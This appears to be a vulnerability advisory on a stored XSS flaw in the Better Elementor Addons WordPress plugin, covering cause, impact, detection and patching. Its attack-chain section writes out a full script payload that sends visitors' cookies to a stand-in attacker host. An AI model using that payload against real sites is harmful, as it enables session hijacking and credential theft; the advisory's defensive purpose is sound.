CVE-2025-12830: 
WordPress vulnerability analysis and mitigation

CVE-2025-12830 is a Stored Cross-Site Scripting (XSS) vulnerability in the Better Elementor Addons plugin for WordPress, affecting all versions up to and including 1.5.5. The flaw exists in the Slider widget due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 12, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in the Slider widget's style templates (style1.php, style2.php, style5.php) where user-supplied attributes are rendered without proper sanitization or escaping. An authenticated attacker with at minimum contributor-level access can embed malicious JavaScript into widget attributes, which is then persistently stored and executed in the browser of any user who visits the affected page. The vulnerable code paths are visible in the plugin's source repository at lines such as style1.php#L19, style2.php#L17, and style5.php#L12 (Wordfence, EUVD).

Successful exploitation allows malicious scripts to execute in the context of any visitor's browser on pages containing the injected Slider widget, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). While availability is not directly impacted, the persistent nature of stored XSS means all site visitors are at risk until the payload is removed. The scope is changed, meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12830 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Better Elementor Addons plugin at version 1.5.5 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Create or edit a page with the Slider widget: Using the Elementor editor, add or modify a Slider widget on a page or post.
4. Inject malicious payload: Insert a crafted XSS payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable widget attribute field that is not properly sanitized.
5. Publish the page: Save and publish the page, causing the payload to be stored in the database.
6. Trigger execution: Any user (including administrators) who visits the injected page will have the malicious script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints by contributor-level accounts containing script tags or encoded JavaScript in Elementor widget data.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_postmeta table associated with Elementor Slider widget settings.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Slider widget, potentially indicating cookie exfiltration.
• File System: Review of plugin files widgets/slider/styles/style1.php, style2.php, and style5.php for unescaped output of user-controlled variables (Wordfence).

Update the Better Elementor Addons plugin to version 1.5.6 or later, which addresses the insufficient sanitization and output escaping in the Slider widget. Site administrators should audit existing pages using the Slider widget for any injected scripts and remove malicious content. As a temporary measure, restrict contributor-level user registrations or disable the Slider widget until the patch is applied (Wordfence, WordPress Plugin).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting the stored XSS risk for contributor-level attackers (Wordfence Weekly Report). Red Hat also tracked the CVE in their security advisory database (Red Hat CVE). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.